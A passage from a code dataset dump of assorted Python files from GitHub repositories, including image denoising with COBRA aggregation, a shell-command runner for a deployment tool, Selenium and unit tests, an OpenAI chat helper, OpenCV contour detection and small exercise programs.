k) for x in range(k,noise_class.shape[0]-k) for y in range(k,noise_class.shape[1]-k)]\n Xtrain2 += [list_neighbours(y2, x, y, k) for x in range(k,noise_class.shape[0]-k) for y in range(k,noise_class.shape[1]-k)]\n return(Xtrain, Xtrain1, Xtrain2, Ytrain)\n\nclass machine:\n def __init__(self, name, num_denoised_method, patch_size):\n self.name = name\n self.num_denoised_method = num_denoised_method\n self.patch_size = patch_size\n \n def predict(self, Inoisy) : \n #print(\"Predict in machine :\", self.name)\n Inoisy = np.array(Inoisy)\n Idenoised = []\n \n if len(Inoisy.shape)==1:\n iter_max = 1\n else:\n iter_max = Inoisy.shape[0]\n \n for i in range(iter_max):\n if len(Inoisy.shape)==1:\n image_noisy = Inoisy.reshape((2*self.patch_size+1, 2*self.patch_size+1))\n else:\n image_noisy = Inoisy[i].reshape((2*self.patch_size+1, 2*self.patch_size+1))\n \n if self.name == 'bilateral' :\n denoise_class = denoise.denoisedImage(image_noisy)\n denoise_class.bilateral()\n image_denoised = denoise_class.Ibilateral \n elif self.name == 'nlmeans' :\n denoise_class = denoise.denoisedImage(image_noisy)\n denoise_class.NLmeans()\n image_denoised = denoise_class.Inlmeans\n elif self.name == 'gauss' :\n denoise_class = denoise.denoisedImage(image_noisy)\n denoise_class.gauss()\n image_denoised = denoise_class.Igauss \n elif self.name == 'median' :\n denoise_class = denoise.denoisedImage(image_noisy)\n denoise_class.median()\n image_denoised = denoise_class.Imedian\n elif self.name == 'TVchambolle' :\n denoise_class = denoise.denoisedImage(image_noisy)\n denoise_class.TVchambolle()\n image_denoised = denoise_class.Ichambolle\n elif self.name == 'richardson_lucy' :\n denoise_class = denoise.denoisedImage(image_noisy)\n denoise_class.richardson_lucy()\n image_denoised = denoise_class.Irl\n elif self.name == 'inpainting' :\n if image_noisy.shape == (1, 1) or np.all(image_noisy==1):\n image_denoised = image_noisy\n else :\n denoise_class = denoise.denoisedImage(image_noisy)\n denoise_class.inpaint()\n image_denoised = denoise_class.Iinpaint\n elif self.name == 'ksvd' :\n denoise_class = denoise.denoisedImage(image_noisy)\n denoise_class.ksvd()\n image_denoised = denoise_class.Iksvd\n elif self.name == 'lee' :\n denoise_class = denoise.denoisedImage(image_noisy)\n denoise_class.lee()\n image_denoised = denoise_class.Ilee \n# elif self.name == 'bm3d' :\n# denoise_class = denoise.denoisedImage(image_noisy)\n# denoise_class.bm3d()\n# image_denoised = denoise_class.Ibm3d\n else :\n print(\"Unknown name : \", self.name)\n return()\n \n if self.patch_size>0:\n Idenoised.append([image_denoised[self.patch_size, self.patch_size]])\n else :\n Idenoised.append([image_denoised])\n return(Idenoised)\n\ndef define_cobra_model(train_names, training_noise_kind, patch_size=1, optimi=True, verbose=False) :\n \"\"\"\n Train a cobra model for denoising task\n \n INPUT :\n train_names : list containing the name of images used to train the model\n patch_size : use patch of size (2*patch_size+1)*(2*patch_size+1) as features\n verbose : print or not information during the training\n \n OUTPUT :\n cobra : trained model\n \"\"\"\n #initial cobra parameters\n Alpha = 4 #how many machines must agree\n Epsilon = 0.2 # confidence parameter\n \n print(\"Training cobra model...\")\n Xtrain, Xtrain1, Xtrain2, Ytrain = load_training_data(train_names, training_noise_kind, patch_size)\n cobra = Cobra(epsilon=Epsilon, machines=Alpha) # create a cobra machine\n #cobra.fit(Xtrain, Ytrain, default=False, X_k=Xtrain1, X_l=Xtrain2, y_k=Ytrain, y_l=Ytrain) # fit the cobra machine with our data\n cobra.fit(Xtrain, Ytrain) # fit the cobra machine with our data\n\n print(\"Loading machines...\")\n cobra.load_machine('bilateral', machine('bilateral', 0, patch_size))\n cobra.load_machine('nlmeans', machine('nlmeans', 1, patch_size))\n cobra.load_machine('gauss', machine('gauss', 2, patch_size))\n cobra.load_machine('median', machine('median', 3, patch_size))\n cobra.load_machine('TVchambolle', machine('TVchambolle', 4, patch_size))\n cobra.load_machine('richardson_lucy', machine('richardson_lucy', 5, patch_size))\n cobra.load_machine('inpainting', machine('inpainting', 6, patch_size))\n cobra.load_machine('ksvd', machine('ksvd', 7, patch_size))\n cobra.load_machine('lee', machine('lee', 8, patch_size))\n# cobra.load_machine('bm3d', machine('bm3d', 9, patch_size))\n\n print(\"Loading machine predictions...\")\n cobra.load_machine_predictions() #agregate\n if verbose :\n print(cobra.machine_predictions_)\n \n if optimi : \n print(\"Parameter optimisation\")\n cobra_diagnostics = Diagnostics(cobra, Xtrain, Ytrain)\n Epsilon_opt, MSE = cobra_diagnostics.optimal_epsilon(Xtrain, Ytrain, line_points=100, info=False)\n Alpha_opt, MSE = cobra_diagnostics.optimal_alpha(Xtrain, Ytrain, epsilon=Epsilon_opt, info=False)\n if verbose :\n print(\"epsilon = \", Epsilon_opt)\n print(\"alpha = \", Alpha_opt)\n\n print(\"Training cobra model again...\")\n cobra = Cobra(epsilon=Epsilon_opt, machines=Alpha_opt)\n cobra.fit(Xtrain, Ytrain, default=False, X_k=Xtrain1, X_l=Xtrain2, y_k=Ytrain, y_l=Ytrain)\n cobra.load_machine('bilateral', machine('bilateral', 0, patch_size))\n cobra.load_machine('nlmeans', machine('nlmeans', 1, patch_size))\n cobra.load_machine('gauss', machine('gauss', 2, patch_size))\n cobra.load_machine('median', machine('median', 3, patch_size))\n cobra.load_machine('TVchambolle', machine('TVchambolle', 4, patch_size))\n cobra.load_machine('richardson_lucy', machine('richardson_lucy', 5, patch_size))\n cobra.load_machine('inpainting', machine('inpainting', 6, patch_size))\n cobra.load_machine('ksvd', machine('ksvd', 7, patch_size))\n cobra.load_machine('lee', machine('lee', 8, patch_size))\n# cobra.load_machine('bm3d', machine('bm3d', 9, patch_size))\n cobra.load_machine_predictions()\n if verbose :\n print(\"Loading machine predictions...\")\n print(cobra.machine_predictions_)\n\n return(cobra, Alpha, Epsilon)\n\ndef denoise_cobra(im_noise, model, n_machines, patch_size=1, verbose=False) :\n \"\"\"\n Denoise an noisy image using cobra aggregation\n \n INPUT :\n im_noise : noisy image\n model : trained cobra model\n n_machines : optimal number of machines to take into account in the aggregation\n patch_size : use patch of size (2*patch_size+1)*(2*patch_size+1) as features\n verbose : print or not information during the training\n \n OUTPUT :\n Y : denoised image\n \"\"\" \n print(\"Image denoising...\")\n Xtest = [list_neighbours(im_noise, x, y, patch_size) for x in range(patch_size, noise_class.shape[0]-patch_size) for y in range(patch_size,noise_class.shape[1]-patch_size)]\n Y = model.predict(Xtest, n_machines)\n #Padding\n if patch_size > 0 :\n Y_sol = im_noise.copy()\n for x in range(patch_size, noise_class.shape[0]-patch_size) :\n for y in range(patch_size,noise_class.shape[1]-patch_size) : \n Y_sol[x, y] = Y[(x-patch_size)*(noise_class.shape[1]-2*patch_size)+(y-patch_size)]\n Y = Y_sol.reshape(-1)\n \n if verbose :\n print(\"The denoised matrix has the following data matrix : \")\n print(Y)\n \n return(Y) \n \nif (__name__ == \"__main__\"):\n path = \"images//\"\n file_name =\"lena.png\"\n \n noise_class = noise.noisyImage(path, file_name, 0, 0.5, 0.1, 0.2, 0.3, 2, 2) \n noise_class.multi_noise()\n im_noise = noise_class.Imulti\n noise_class.show(im_noise, \"noisy image\")\n \n testing_noise_kind = [5]\n training_noise_kind = [i for i in range(noise_class.method_nb)]\n \n # Cobra denoising\n patch = 5\n cobra_model, Alpha, Epsilon = define_cobra_model(path+\"//train//\", training_noise_kind, patch_size=patch, optimi=False, verbose=True)\n Y = denoise_cobra(im_noise, cobra_model, Alpha, patch_size=patch, verbose=False)\n im_denoise = np.array(Y).reshape(im_noise.shape)\n \n # Evaluation\n print(\"Evaluation...\")\n evaluate = evaluation.eval_denoising(im_denoise, noise_class.Ioriginal)\n evaluate.all_evaluate()\n \n # Diagnostic\n Xtest = [list_neighbours(im_noise, x, y, patch) for x in range(patch, noise_class.shape[0]-patch) for y in range(patch,noise_class.shape[1]-patch)]\n Y_without_padding = Y.reshape(im_noise.shape)\n Y_without_padding = Y_without_padding[patch:-patch, patch:-patch]\n Y_without_padding = Y_without_padding.reshape(-1)\n cobra_diagnostics = Diagnostics(cobra_model, Xtest, Y_without_padding, load_MSE=True)\n print(\"The machine MSE are : \")\n print(cobra_diagnostics.machine_MSE)\n print(\"The optimal machine is : \")\n print(cobra_diagnostics.optimal_machines(Xtest, Y_without_padding)) # Find the optimal combination of machines\n \n # Display results\n print(\"Displaying the result...\")\n noise_class.show(noise_class.Ioriginal, 'Original image')\n noise_class.show(im_denoise, 'Denoised image')\n noise_class.show(evaluation.Idiff, 'Difference')\n \n # Visualisation\n Yreal = [noise_class.Ioriginal[x,y] for x in range(patch, noise_class.shape[0]-patch) for y in range(patch, noise_class.shape[1]-patch)]\n Yreal_full = [noise_class.Ioriginal[x,y] for x in range(noise_class.shape[0]) for y in range(noise_class.shape[1])]\n\n plt.title(\"Prediction Vs Real pixel value\")\n plt.scatter(Yreal_full, Y)\n plt.plot([x/100 for x in range(100)], [x/100 for x in range(100)], color='red')\n plt.xlabel('real value')\n plt.ylabel('prediction')\n\n # Plot the results of the machines versus the actual answers (testing space).\n visualise = Visualisation(cobra_model, np.array(Xtest), np.array(Yreal))\n visualise.plot_machines(['bilateral', 'nlmeans', 'gauss', 'median', 'TVchambolle', 'richardson_lucy', 'inpainting', 'ksvd', 'lee'])","repo_name":"rengotj/cobra_denoising","sub_path":"denoising_cobra.py","file_name":"denoising_cobra.py","file_ext":"py","file_size_in_byte":13026,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"33418923378","text":"import time #import time module\ndistance = float(input(\"How far is your trip?: \"))\nprint('you are about to start a journey', distance, 'km') #printando a distancia\nprint('please wait...')\ntime.sleep(3)\nif distance <= 200: #menor ou igual a 200\n price = distance * 0.50 \nelse:\n price = distance * 0.45 #cada km custa 0.45\n \nprint('the price of your journey is $', format(price, '.2f'))#formatando o valor\nprint('thank you for using our program...')","repo_name":"UskOops/scripts.py","sub_path":"trip distance.py","file_name":"trip distance.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23574013021","text":"\r\nimport math\r\n\r\n\r\ndef add(arr1,arr2,a,b):\r\n if a==0:\r\n return\r\n if arr1==[]:\r\n arr1.append(a)\r\n arr2.append(b)\r\n return\r\n if arr1[len(arr1)-1]==a:\r\n arr2[len(arr2)-1]+=b\r\n return\r\n arr1.append(a)\r\n arr2.append(b)\r\n \r\n\r\ng = open('output.txt', 'w')\r\n\r\nf = open('C-small-2-attempt0.in', 'r')\r\n\r\nt= int(f.readline())\r\nfor i in range(t):\r\n \r\n arr=f.readline().split()\r\n n=int(arr[0])\r\n k=int(arr[1])\r\n arr1=[n]\r\n arr2=[1]\r\n cur1=arr1[0]\r\n cur2=arr2[0]\r\n\r\n while k>cur2:\r\n arr1= arr1[1:len(arr1)]\r\n arr2= arr2[1:len(arr2)]\r\n \r\n \r\n add(arr1,arr2,math.floor(cur1/2),cur2)\r\n add(arr1,arr2,math.floor((cur1-1)/2),cur2)\r\n \r\n k=k-cur2\r\n cur1=arr1[0]\r\n cur2=arr2[0]\r\n out=\"Case #\"+str(i+1)+\": \"+str(math.floor(cur1/2)) +\" \"+ str(math.floor((cur1-1)/2))+\"\\n\"\r\n g.write(out)\r\ng.close()\r\n \r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/984.py","file_name":"984.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9142332433","text":"import os\nimport platform\nimport sys\nimport base64\n\nclass Connector:\n\n def __init__(self):\n self.parameters = dict()\n\n def __str__(self):\n return \"LocalConnector\"\n\n def load(self, *args, **kwargs):\n if isinstance(args, dict):\n # print(args)\n self.parameters = args\n else:\n # print(args[0])\n self.parameters = args[0]\n\n def connect(self, shell_command: str):\n c = shell_command\n try:\n if os.environ.get(\"ANSIBOOT_DRY_RUN\") is not None:\n print(\"LOCAL STRING:\" + c)\n else:\n os.system(c)\n except Exception as ex:\n exc_tuple = sys.exc_info()\n print(\"Error:\" + exc_tuple[1])\n return c\n\n def play(self, play, variables=None):\n if \"base64\" in play:\n base64str = apply_vars(play[\"base64\"])\n command_bytes = bytes(base64str, 'utf-8')\n command_text = base64.b64decode(command_bytes).decode(\"utf-8\")\n if \"Windows\" in platform.system():\n f = open(\"_t.bat\", \"w\")\n if f is not None:\n f.write(\"@echo off\\n\")\n f.write(command_text)\n f.flush()\n f.close()\n command_text = \"_t.bat\"\n else:\n command_text = \"echo \" + base64str + \" | base64 -d > _t.sh;chmod +x _t.sh;./_t.sh\"\n else:\n #command_text = apply_vars(play[\"command\"])\n command_text = apply_vars(play[\"command\"], variables=variables)\n\n c = self.connect(command_text)\n sys.stdout.flush()\n\n def get(self, name):\n if name in self.parameters:\n return self.parameters[name]\n else:\n return None\n\n\ndef apply_vars(var_value, variables=None):\n value = var_value\n if value is None:\n return var_value\n for k, v in os.environ.items():\n rk = \"$\" + k\n if rk in value:\n value = str(value).replace(rk, v)\n\n if variables is not None:\n for k in variables:\n rk = \"$\" + k\n v = variables[k]\n if rk in value:\n value = str(value).replace(rk, str(v))\n\n if variables is not None:\n for k in variables:\n rk = \"%\" + k + \"%\"\n v = variables[k]\n if rk in value:\n value = str(value).replace(rk, str(v))\n\n\n #print(kv + \" = \" + str(value))\n return value","repo_name":"miketbush/ansiboot","sub_path":"local_connector.py","file_name":"local_connector.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7090822695","text":"import pytest\nfrom selenium.webdriver.common.by import By\nfrom selenium import webdriver\nimport TextFeild\n\n\nclass TestCalculate:\n browser = webdriver.Chrome()\n url = \"https://jeronlineforms.jerusalem.muni.il/ConfirmationForStructure\"\n browser.get(url)\n\n testCases_first_name_feild = [\n {\"first_name\": \"דרוויש\", \"expected_value\": \"\"},\n {\"first_name\": \" \", \"expected_value\": \"שדה חובה\"},\n {\"first_name\": \"Darweesh\", \"expected_value\": \"יש להזין אותיות בעברית בלבד ותווים מיוחדים\"},\n {\"first_name\": \"1234567\", \"expected_value\": \"יש להזין אותיות בעברית בלבד ותווים מיוחדים\"},\n {\"first_name\": \"ש\", \"expected_value\": \"יש להזין אותיות בעברית בלבד ותווים מיוחדים\"},\n {\"first_name\": \"عربي\", \"expected_value\": \"יש להזין אותיות בעברית בלבד ותווים מיוחדים\"},\n {\"first_name\": \"דרוויש1\", \"expected_value\": \"יש להזין אותיות בעברית בלבד ותווים מיוחדים\"}]\n # @pytest.fixture\n # def setValue(self,first_name):\n # self.testvalue = self.testCases_first_name_feild[0][f'\"{first_name}\"']\n # return self.testvalue\n\n @pytest.mark.parametrize(\"first_name,expected_value\",testCases_first_name_feild)\n # I have a problem in here, method fills the key instead of the value !!!!\n def test_calculate(self, first_name, expected_value):\n # maybe = self.testvalue\n textFieldClass = TextFeild.textFeild\n firstName = textFieldClass(self.browser, 'שם פרטי', first_name)\n lastName = textFieldClass(self.browser, 'שם משפחה', 'קימרי')\n idNumber = textFieldClass(self.browser, 'מספר ת.ז.', '039886544')\n Mobile = textFieldClass(self.browser, 'cellphone', '5768719')\n Phone = textFieldClass(self.browser, 'phone', '6287296')\n Email = textFieldClass(self.browser, 'דוא\"ל', 'darweeshq@gmail.com')\n actualValue = self.browser.find_element(By.XPATH, '//div[@class=\"ng-star-inserted\"]').text\n # actualValue = browser.find_element(By.XPATH, '//div[@class=\"ng-star-inserted\"]').text\n assert expected_value == actualValue\n","repo_name":"darweeshq/PythonTraining","sub_path":"test_marksample.py","file_name":"test_marksample.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"he","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27163513989","text":"while True:\n try:\n n = int(input(\"n: \"))\n m = int(input(\"m: \"))\n break\n except ValueError:\n print(\"некорректные данные\")\n\ntry:\n res = n / m\n print(\"res=\", res)\nexcept ZeroDivisionError:\n print(\"На ноль делить нельзя\")\n","repo_name":"PaulMazuka/python1_specialist","sub_path":"Module 9/Try_Except.py","file_name":"Try_Except.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19579207008","text":"import sys\nsys.path.append(\"..\")\nimport unittest\n\nfrom src.carte import Carte\n\nclass TestCarte(unittest.TestCase):\n def test_get_adv_info(self):\n map_list = [['C', '3', '3'], ['A', 'test', '1', '0', 'N', 'AA']]\n carte = Carte(map_list)\n self.assertEqual(carte.adventurers, {'test': {'x': 1 , 'y': 0, 'direction': 'N', 'move': 'AA', 'treasures': 0}})\n\n def test_draw_map(self):\n map_list = [['C', '3', '4'], ['M', '1', '1'], ['T', '2', '2', '5']]\n carte = Carte(map_list)\n result = [['.', '.', '.'], ['.', 'M', '.'], ['.', '.', 5], ['.', '.', '.']]\n self.assertEqual(carte.map_array, result)\n\n def test_check_position_exeption(self):\n map_list = [['C', '3', '3'], ['M', '1', '0'], ['A', 'test', '1', '0', 'N', 'AA']]\n with self.assertRaises(Exception):\n Carte(map_list)\n\n def test_execute_orders_exception(self):\n map_list = [['C', '3', '3'], ['A', 'test', '1', '0', 'N', 'AZ']]\n carte = Carte(map_list)\n with self.assertRaises(Exception):\n carte.execute_orders()\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"shwimp/cat","sub_path":"test/test_carte.py","file_name":"test_carte.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16484179083","text":"import openai\n\ndef get_messages_and_api_key():\n f = open(\"./venv/api_key.txt\")\n openai.api_key = f.readline()\n messages = [{\"role\": \"system\", \"content\": \"\"\"You are a Terraria Playing Agent. Your health is 100/100. \n You may execute code to move and interact with the game world.\n You are located in biome: Overworld.\n Continually ponder and aim to explore the world. \"\"\"}]\n return messages\n\ndef chat_once(messages, message):\n if message:\n messages.append(\n {\"role\": \"user\", \"content\": str(message) + \"Write code to execute your intended Terraria game actions\"},\n )\n chat = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\", messages=messages\n )\n\n reply = chat.choices[0].message.content\n print(f\"ChatGPT: {reply}\")\n messages.append({\"role\": \"assistant\", \"content\": reply})\n f = open(\"conversations.txt\", \"a\")\n for message in messages:\n for key in message:\n f.write(message[key] + \"\\n\")\n f.close()\n","repo_name":"bradleeharr/tAIrraria","sub_path":"TerrAIPy/runchat.py","file_name":"runchat.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14874464129","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 12 13:08:24 2020\n\n@author: Paras\n\ncontour detection \n\nAdd area threshold to consider into contour to remove noise\n\n\"\"\"\nimport numpy as np \nimport cv2 \nfrom matplotlib import pyplot as plt \nfrom scipy.spatial import distance\n\n\ncap = cv2.VideoCapture(0) \n\ntry:\n while(1):\n _, frame = cap.read()\n \n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n # blur = cv2.GaussianBlur(gray,(1,1),1000)\n \n ret, thresh = cv2.threshold(gray, 50, 255,cv2.THRESH_BINARY_INV)\n \n # _, binary = cv2.threshold(gray, 225, 255, cv2.THRESH_BINARY_INV)\n \n contours, _ = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n # cnt = contours[0]\n # M = cv2.moments(cnt)\n # epsilon = 0.1*cv2.arcLength(cnt,True)\n # approx = cv2.approxPolyDP(cnt,epsilon,True)\n \n for i in range(len(contours)):\n cnt = contours[i]\n \n # epsilon = 0.8* cv2.arcLength(cnt, True)\n # approx = cv2.approxPolyDP(cnt, epsilon, True)\n \n rect = cv2.minAreaRect(cnt)\n \n box = cv2.boxPoints(rect)\n print(box)\n box = np.int0(box)\n frame = cv2.drawContours(frame, [box] , -1, (0,255,0), 2)\n# frame = cv2.rectangle(frame,cnt,(0,0,255),2)\n \n \n # cnt = contours[0]\n # M = cv2.moments(cnt)\n cv2.imshow('frame', frame)\n cv2.imshow('thresh', thresh)\n \n k = cv2.waitKey(1)\n if k == 27:\n break\nexcept Exception as E:\n print('ERROR OCCURED')\n print (E)\n \nfinally:\n cap.release()\n cv2.destroyAllWindows()\n\n#image = cv2.imread('C:\\\\Users\\\\HP\\\\Desktop\\\\major proje ct\\\\obstacle course.png')\n#gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n#cv2.imshow('gray',gray)\n#\n#ret,thresh = cv2.threshold(gray,150,255,cv2.THRESH_BINARY_INV)\n#_, contours,_ = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n#\n#for i in range(len(contours)):\n# cnt = contours[i]\n# rect = cv2.minAreaRect(cnt) \n# box = cv2.boxPoints(rect)\n# print(box)\n# box = np.int0(box)\n# image = cv2.drawContours(image, [box] , -1, (0,255,0), 2) \n# image1 = cv2.drawContours(image, cnt , -1, (0,255,0), 2) \n#\n#\n#cv2.imshow('image',image)\n#\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()","repo_name":"savnani5/Motion-Planning-of-a-differential-drive-robot","sub_path":"Code_files/obstacle detection.py","file_name":"obstacle detection.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"7434338390","text":"from collections import deque\nimport sys\n\ninput = sys.stdin.readline\n\nt = int(input())\n\ndef bfs(graph, start):\n queue = deque()\n queue.append(start)\n if visited[start] == 0:\n # 이분 1, 2로 하고 방문하지 않은곳은 0으로 표시\n visited[start] = 1 \n while queue:\n v = queue.popleft()\n color = visited[v]\n for i in graph[v]: \n if visited[i] == 0: \n queue.append(i)\n if color == 1: \n visited[i] = 2\n else:\n visited[i] = 1\n elif visited[i] == 1:\n if color == 1:\n print(\"NO\")\n return False\n elif visited[i] == 2:\n if color == 2:\n print(\"NO\")\n return False\n return True\n \nfor _ in range (t) :\n v, e = map(int, input().split())\n graph = [[] for _ in range (v+1)]\n visited = [0] * (v+1)\n for i in range (e) :\n a, b = map(int, input().split())\n graph[a].append(b)\n graph[b].append(a)\n answer = 0\n for i in range (1, v+1) :\n if not bfs(graph, i) :\n answer = 1\n break\n if answer == 0 :\n print(\"YES\")","repo_name":"jaehyun230/Baekjoon_Algorithm","sub_path":"백준/Gold/1707. 이분 그래프/이분 그래프.py","file_name":"이분 그래프.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"43606512966","text":"\nimport os # operating system\n\n#讀取檔案\ndef read_file(filename):\n\tproducts = []\n\twith open(filename, 'r', encoding = 'utf-8') as f:\n\t\tfor line in f:\n\t\t\t# s = line.strip().split(',') #切割split,裡面放你想要用什麼來分割,這邊是 \",\";strip是去掉 \"\\n\"\n\t\t\t# name = s[0]\n\t\t\t# price = s[1]\n\t\t\tif '商品,價格' in line:\n\t\t\t\tcontinue #continue是跳到下一回的意思\n\t\t\tname, price = line.strip().split(',')\n\t\t\tproducts.append([name, price])\n\t\t\tprint([name, price])\n\t\t\t# # split 完的結果是 清單 list\n\treturn products\n\n#讓使用者輸入新的商品\ndef user_input(products):\t\t\n\twhile True:\n\t\tname = input('請輸入商品名稱: ')\n\t\tif name == 'q':\n\t\t\tbreak\n\t\tprice = input('請輸入商品價格: ') #入果輸入q,就不用問價格了\n\t\t## p = []\n\t\t## p.append(name)\n\t\t## p.append(price)\n\t\t# p = [name, price]\n\t\t# products.append(p)\n\t\tproducts.append([name, price])\n\tprint(products)\n\treturn products\n\n#列出清單\ndef print_products(products):\n\tfor p in products:\n\t\tprint(p[0], '的價格是', p[1])\n\n#寫入檔案\ndef write_file(filename, products):\n\twith open(filename, 'w', encoding='utf-8') as f:\n\t\tf.write('商品,價格' + '\\n')\n\t\tfor p in products:\n\t\t\tf.write(p[0] + ',' + p[1] + '\\n') #f.write 寫入 \n\ndef main():\n\tfilenmae = 'products.csv'\n\tif os.path.isfile(filenmae):\n\t\tprint('yeah!!程式啟動~~')\n\t\tproducts = read_file(filenmae)\n\t\tprint(products)\n\telse:\n\t\tprint('找不到檔案......')\n\tproducts = user_input(products)\n\tprint_products(products)\n\twrite_file('products.csv', products)\n\nmain()","repo_name":"drugr/products","sub_path":"products.py","file_name":"products.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5862600974","text":"\nnombreUsuario = input('Ingresa usuario-> ')\ncontraseña = input('Contraseña usuario-> ')\n\nnombreUsuario2 = input('Ingresa usuario-> ')\ncontraseña2 = input('Contraseña usuario-> ')\n\nnombreUsuario3 = input('Ingresa usuario-> ')\ncontraseña3 = input('Contraseña usuario-> ')\n\n\nif nombreUsuario == 'Wanves72' and contraseña == 'zoe72':\n print('Has ingresado, Bienvenido')\nelse:\n print('Contraseña usuario Incorrecta')\n \nif nombreUsuario2 == 'goku' and contraseña2 == '123namek':\n print('Has ingresado, Bienvenido')\nelse:\n print('Contraseña usuario Incorrecta')\n \nif nombreUsuario3 == 'neo' and contraseña3 == 'matrix777':\n print('Has ingresado, Bienvenido')\nelse:\n print('Contraseña usuario Incorrecta') \n \ndatoUsuario= [nombreUsuario + contraseña]\ndatoUsuario2=[nombreUsuario2 + contraseña2]\ndatoUsuario3=[nombreUsuario3 + contraseña3]\nhiperDatosUsuarios = datoUsuario + datoUsuario2 + datoUsuario3\n\nprint(f'''\n [datoUsuario]\n [datoUsuario2]\n [datoUsuario3]\n ''')\nprint(hiperDatosUsuarios)\n\n","repo_name":"Wanves/python_code","sub_path":"and.py","file_name":"and.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71622294913","text":"#!/usr/bin/env python\r\n#coding=utf-8\r\n'''\r\nCreated on 2016年4月28日\r\n@author: wxquare\r\n'''\r\nimport loadData as ld\r\nfrom sklearn.ensemble.forest import RandomForestRegressor\r\n\r\ndef RF_ALL(trainFileName,testFileName):\r\n train_X, train_y, _ = ld.LoadData_DATA_LABEL_ITEM(trainFileName)\r\n Eval_X, items = ld.LoadData_DATA_ITEM(testFileName)\r\n clf = RandomForestRegressor(n_estimators=100,criterion='mse', max_depth=None,max_features='auto',bootstrap=True).\\\r\n fit(train_X, train_y)\r\n pred_y = clf.predict(Eval_X)\r\n res = []\r\n for i in range(len(Eval_X)):\r\n res.append([items[i],'all','%.4f'%max(pred_y[i],0)])\r\n return res\r\n\r\n\r\ndef RF_ST_train(trainFileName,testFileName):\r\n trainData = ld.loadData_ST(trainFileName)\r\n testData = ld.loadData_ST(testFileName)\r\n \r\n store = ['1','2','3','4','5']\r\n res = []\r\n \r\n for i in store: \r\n train_X = [];train_y = []\r\n context = trainData[i]\r\n for array in context:\r\n array = [float(x) for x in array[2:] ]\r\n train_X.append((array[2:-1]))\r\n train_y.append(array[-1])\r\n test_X = [];test_y = [];items = []\r\n context = testData[i]\r\n for array in context:\r\n items.append((array[0],array[1]))\r\n array = [float(x) for x in array[2:] ]\r\n test_X.append((array[2:-1]))\r\n test_y.append(array[-1])\r\n \r\n clf = RandomForestRegressor(criterion='mse', n_estimators=100, max_depth=None).\\\r\n fit(train_X,train_y)\r\n pred_y = clf.predict(test_X)\r\n \r\n for i in range(len(pred_y)):\r\n res.append([items[i][0],items[i][1],'%.2f'%max(pred_y[i],0),'%.2f'%max(test_y[i],0)])\r\n return res\r\n\r\ndef RF_ST(trainFileName,testFilename):\r\n trainData = ld.LoadData_DATA_ST(trainFileName)\r\n testData = ld.LoadData_DATA_ST(testFilename)\r\n \r\n store = ['1','2','3','4','5']\r\n res = []\r\n \r\n for i in store:\r\n train_X = [];train_y = []\r\n context = trainData[i]\r\n for array in context:\r\n array = [float(x) for x in array[2:]]\r\n train_X.append((array[2:-1]))\r\n train_y.append(array[-1])\r\n \r\n test_X = [];items = []\r\n context = testData[i]\r\n for array in context:\r\n items.append((array[0],array[1]))\r\n array = [float(x) for x in array[2:] ]\r\n test_X.append((array[2:]))\r\n \r\n \r\n clf = RandomForestRegressor(n_estimators=100,criterion='mse', max_depth=None,max_features='auto').\\\r\n fit(train_X,train_y)\r\n pred_y = clf.predict(test_X)\r\n \r\n for i in range(len(pred_y)):\r\n res.append([items[i][0],items[i][1],'%.4f'%max(pred_y[i],0)])\r\n return res\r\n","repo_name":"emigmo/TC_CAINIAO","sub_path":"RF.py","file_name":"RF.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24775496014","text":"#!/usr/bin/python3\n\n\n\n# ---------------- IMPORTATIONS ----------------\n\n#system\nimport os, sys\n\n#tkinter\nfrom tkinter import PhotoImage\n\n#sources\nsys.path.append( os.getcwd() )\nfrom src.pieces import *\n\n\n\n\n\n\n# ---------------- DECLARATIONS ----------------\n\n#2-power\npower2 = (1,2,4,8,16,32,64,128,256,512,1024,2048,4096)\n\n\n\n\n\n\n# ---------------- USEFUL ----------------\n\n#description\ndef subImage(image, px,py, width,height):\n\tsubImg = PhotoImage(width=width, height=height)\n\tsubData = \"\"\n\tfor y in range(height):\n\t\tsubData += \" { \"\n\t\tfor x in range(width):\n\t\t\tsubData += \"#%02x%02x%02x \" % image.get(px + x, py + y)\n\t\tsubData += 